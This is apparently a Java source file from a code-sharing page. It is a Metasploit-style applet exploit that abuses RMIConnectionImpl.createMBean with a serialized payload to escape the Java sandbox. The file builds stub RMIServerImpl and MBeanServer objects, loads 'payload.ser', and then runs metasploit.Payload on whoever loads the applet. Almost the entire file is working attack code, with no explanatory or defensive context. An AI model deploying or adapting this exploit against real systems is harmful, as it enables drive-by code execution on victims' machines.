Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
import java.applet.Applet;
2
import java.io.IOException;
3
import java.io.InputStream;
4
import java.io.ObjectInputStream;
5
import java.rmi.MarshalledObject;
6
import java.rmi.Remote;
7
import java.util.Set;
8

9
import javax.management.Attribute;
10
import javax.management.AttributeList;
11
import javax.management.AttributeNotFoundException;
12
import javax.management.InstanceAlreadyExistsException;
13
import javax.management.InstanceNotFoundException;
14
import javax.management.IntrospectionException;
15
import javax.management.InvalidAttributeValueException;
16
import javax.management.ListenerNotFoundException;
17
import javax.management.MBeanException;
18
import javax.management.MBeanInfo;
19
import javax.management.MBeanRegistrationException;
20
import javax.management.MBeanServer;
21
import javax.management.NotCompliantMBeanException;
22
import javax.management.NotificationFilter;
23
import javax.management.NotificationListener;
24
import javax.management.ObjectInstance;
25
import javax.management.ObjectName;
26
import javax.management.OperationsException;
27
import javax.management.QueryExp;
28
import javax.management.ReflectionException;
29
import javax.management.loading.ClassLoaderRepository;
30
import javax.management.remote.rmi.RMIConnection;
31
import javax.management.remote.rmi.RMIConnectionImpl;
32
import javax.management.remote.rmi.RMIServerImpl;
33
import javax.security.auth.Subject;
34

35
import metasploit.Payload;
36

37
/**
38
 * This class exploits the vulnerability in the RMIConnectionImpl class by
39
 * loading the serialized PayloadClassloader.
40
 * 
41
 * @author mka
42
 * 
43
 */
44
public class Exploit extends Applet {
45

46
	private static final long serialVersionUID = 2205862970052148546L;
47

48
	@Override
49
	public void init() {
50
		try {
51

52
			MarshalledObject params = this.getPayload();
53

54
			RMIServerImpl impl = getRMIServerImpl();
55
			impl.setMBeanServer(getMbeanServer());
56
			RMIConnectionImpl connectionImpl = new RMIConnectionImpl(impl,
57
					"metasploit", null, null, null);
58

59
			connectionImpl.createMBean("PayloadClassLoader", null, null,
60
					params, null, null);
61

62
		} catch (Exception e) {
63
			try {
64

65
				PayloadClassLoader.instance.loadIt();
66
				Payload.main(null);
67
			} catch (Exception e1) {
68

69
			}
70

71
		}
72

73
	}
74

75
	private MBeanServer getMbeanServer() {
76

77
		return new MBeanServer() {
78

79
			@Override
80
			public void unregisterMBean(ObjectName name)
81
					throws InstanceNotFoundException,
82
					MBeanRegistrationException {
83

84
			}
85

86
			@Override
87
			public AttributeList setAttributes(ObjectName name,
88
					AttributeList attributes) throws InstanceNotFoundException,
89
					ReflectionException {
90

91
				return null;
92
			}
93

94
			@Override
95
			public void setAttribute(ObjectName name, Attribute attribute)
96
					throws InstanceNotFoundException,
97
					AttributeNotFoundException, InvalidAttributeValueException,
98
					MBeanException, ReflectionException {
99

100
			}
101

102
			@Override
103
			public void removeNotificationListener(ObjectName name,
104
					NotificationListener listener, NotificationFilter filter,
105
					Object handback) throws InstanceNotFoundException,
106
					ListenerNotFoundException {
107

108
			}
109

110
			@Override
111
			public void removeNotificationListener(ObjectName name,
112
					ObjectName listener, NotificationFilter filter,
113
					Object handback) throws InstanceNotFoundException,
114
					ListenerNotFoundException {
115

116
			}
117

118
			@Override
119
			public void removeNotificationListener(ObjectName name,
120
					NotificationListener listener)
121
					throws InstanceNotFoundException, ListenerNotFoundException {
122

123
			}
124

125
			@Override
126
			public void removeNotificationListener(ObjectName name,
127
					ObjectName listener) throws InstanceNotFoundException,
128
					ListenerNotFoundException {
129

130
			}
131

132
			@Override
133
			public ObjectInstance registerMBean(Object object, ObjectName name)
134
					throws InstanceAlreadyExistsException,
135
					MBeanRegistrationException, NotCompliantMBeanException {
136

137
				return null;
138
			}
139

140
			@Override
141
			public Set<ObjectName> queryNames(ObjectName name, QueryExp query) {
142

143
				return null;
144
			}
145

146
			@Override
147
			public Set<ObjectInstance> queryMBeans(ObjectName name,
148
					QueryExp query) {
149

150
				return null;
151
			}
152

153
			@Override
154
			public boolean isRegistered(ObjectName name) {
155

156
				return false;
157
			}
158

159
			@Override
160
			public boolean isInstanceOf(ObjectName name, String className)
161
					throws InstanceNotFoundException {
162

163
				return false;
164
			}
165

166
			@Override
167
			public Object invoke(ObjectName name, String operationName,
168
					Object[] params, String[] signature)
169
					throws InstanceNotFoundException, MBeanException,
170
					ReflectionException {
171

172
				return null;
173
			}
174

175
			@Override
176
			public Object instantiate(String className, ObjectName loaderName,
177
					Object[] params, String[] signature)
178
					throws ReflectionException, MBeanException,
179
					InstanceNotFoundException {
180

181
				return null;
182
			}
183

184
			@Override
185
			public Object instantiate(String className, Object[] params,
186
					String[] signature) throws ReflectionException,
187
					MBeanException {
188

189
				return null;
190
			}
191

192
			@Override
193
			public Object instantiate(String className, ObjectName loaderName)
194
					throws ReflectionException, MBeanException,
195
					InstanceNotFoundException {
196

197
				return null;
198
			}
199

200
			@Override
201
			public Object instantiate(String className)
202
					throws ReflectionException, MBeanException {
203

204
				return null;
205
			}
206

207
			@Override
208
			public ObjectInstance getObjectInstance(ObjectName name)
209
					throws InstanceNotFoundException {
210

211
				return null;
212
			}
213

214
			@Override
215
			public MBeanInfo getMBeanInfo(ObjectName name)
216
					throws InstanceNotFoundException, IntrospectionException,
217
					ReflectionException {
218

219
				return null;
220
			}
221

222
			@Override
223
			public Integer getMBeanCount() {
224

225
				return null;
226
			}
227

228
			@Override
229
			public String[] getDomains() {
230

231
				return null;
232
			}
233

234
			@Override
235
			public String getDefaultDomain() {
236

237
				return null;
238
			}
239

240
			@Override
241
			public ClassLoaderRepository getClassLoaderRepository() {
242

243
				return new ClassLoaderRepository() {
244

245
					@Override
246
					public Class<?> loadClassWithout(ClassLoader exclude,
247
							String className) throws ClassNotFoundException {
248

249
						return null;
250
					}
251

252
					@Override
253
					public Class<?> loadClassBefore(ClassLoader stop,
254
							String className) throws ClassNotFoundException {
255

256
						return null;
257
					}
258

259
					@Override
260
					public Class<?> loadClass(String className)
261
							throws ClassNotFoundException {
262

263
						return null;
264
					}
265
				};
266
			}
267

268
			@Override
269
			public ClassLoader getClassLoaderFor(ObjectName mbeanName)
270
					throws InstanceNotFoundException {
271

272
				return null;
273
			}
274

275
			@Override
276
			public ClassLoader getClassLoader(ObjectName loaderName)
277
					throws InstanceNotFoundException {
278

279
				return null;
280
			}
281

282
			@Override
283
			public AttributeList getAttributes(ObjectName name,
284
					String[] attributes) throws InstanceNotFoundException,
285
					ReflectionException {
286

287
				return null;
288
			}
289

290
			@Override
291
			public Object getAttribute(ObjectName name, String attribute)
292
					throws MBeanException, AttributeNotFoundException,
293
					InstanceNotFoundException, ReflectionException {
294

295
				return null;
296
			}
297

298
			@Override
299
			public ObjectInputStream deserialize(String className,
300
					ObjectName loaderName, byte[] data)
301
					throws InstanceNotFoundException, OperationsException,
302
					ReflectionException {
303

304
				return null;
305
			}
306

307
			@Override
308
			public ObjectInputStream deserialize(String className, byte[] data)
309
					throws OperationsException, ReflectionException {
310

311
				return null;
312
			}
313

314
			@Override
315
			public ObjectInputStream deserialize(ObjectName name, byte[] data)
316
					throws InstanceNotFoundException, OperationsException {
317

318
				return null;
319
			}
320

321
			@Override
322
			public ObjectInstance createMBean(String className,
323
					ObjectName name, ObjectName loaderName, Object[] params,
324
					String[] signature) throws ReflectionException,
325
					InstanceAlreadyExistsException, MBeanRegistrationException,
326
					MBeanException, NotCompliantMBeanException,
327
					InstanceNotFoundException {
328

329
				return null;
330
			}
331

332
			@Override
333
			public ObjectInstance createMBean(String className,
334
					ObjectName name, Object[] params, String[] signature)
335
					throws ReflectionException, InstanceAlreadyExistsException,
336
					MBeanRegistrationException, MBeanException,
337
					NotCompliantMBeanException {
338

339
				return null;
340
			}
341

342
			@Override
343
			public ObjectInstance createMBean(String className,
344
					ObjectName name, ObjectName loaderName)
345
					throws ReflectionException, InstanceAlreadyExistsException,
346
					MBeanRegistrationException, MBeanException,
347
					NotCompliantMBeanException, InstanceNotFoundException {
348

349
				return null;
350
			}
351

352
			@Override
353
			public ObjectInstance createMBean(String className, ObjectName name)
354
					throws ReflectionException, InstanceAlreadyExistsException,
355
					MBeanRegistrationException, MBeanException,
356
					NotCompliantMBeanException {
357

358
				return null;
359
			}
360

361
			@Override
362
			public void addNotificationListener(ObjectName name,
363
					ObjectName listener, NotificationFilter filter,
364
					Object handback) throws InstanceNotFoundException {
365

366
			}
367

368
			@Override
369
			public void addNotificationListener(ObjectName name,
370
					NotificationListener listener, NotificationFilter filter,
371
					Object handback) throws InstanceNotFoundException {
372

373
			}
374
		};
375
	}
376

377
	private RMIServerImpl getRMIServerImpl() {
378

379
		return new RMIServerImpl(null) {
380

381
			@Override
382
			public Remote toStub() throws IOException {
383

384
				return null;
385
			}
386

387
			@Override
388
			protected RMIConnection makeClient(String connectionId,
389
					Subject subject) throws IOException {
390

391
				return null;
392
			}
393

394
			@Override
395
			protected String getProtocol() {
396

397
				return null;
398
			}
399

400
			@Override
401
			protected void export() throws IOException {
402

403
			}
404

405
			@Override
406
			protected void closeServer() throws IOException {
407

408
			}
409

410
			@Override
411
			protected void closeClient(RMIConnection client) throws IOException {
412

413
			}
414
		};
415

416
	}
417

418
	public MarshalledObject getPayload() throws IOException,
419
			ClassNotFoundException {
420

421
		InputStream f = super.getClass().getResourceAsStream("payload.ser");
422
		ObjectInputStream stream = new ObjectInputStream(f);
423
		MarshalledObject object = (MarshalledObject) stream.readObject();
424
		stream.close();
425
		return object;
426

427
	}
428
}
429

430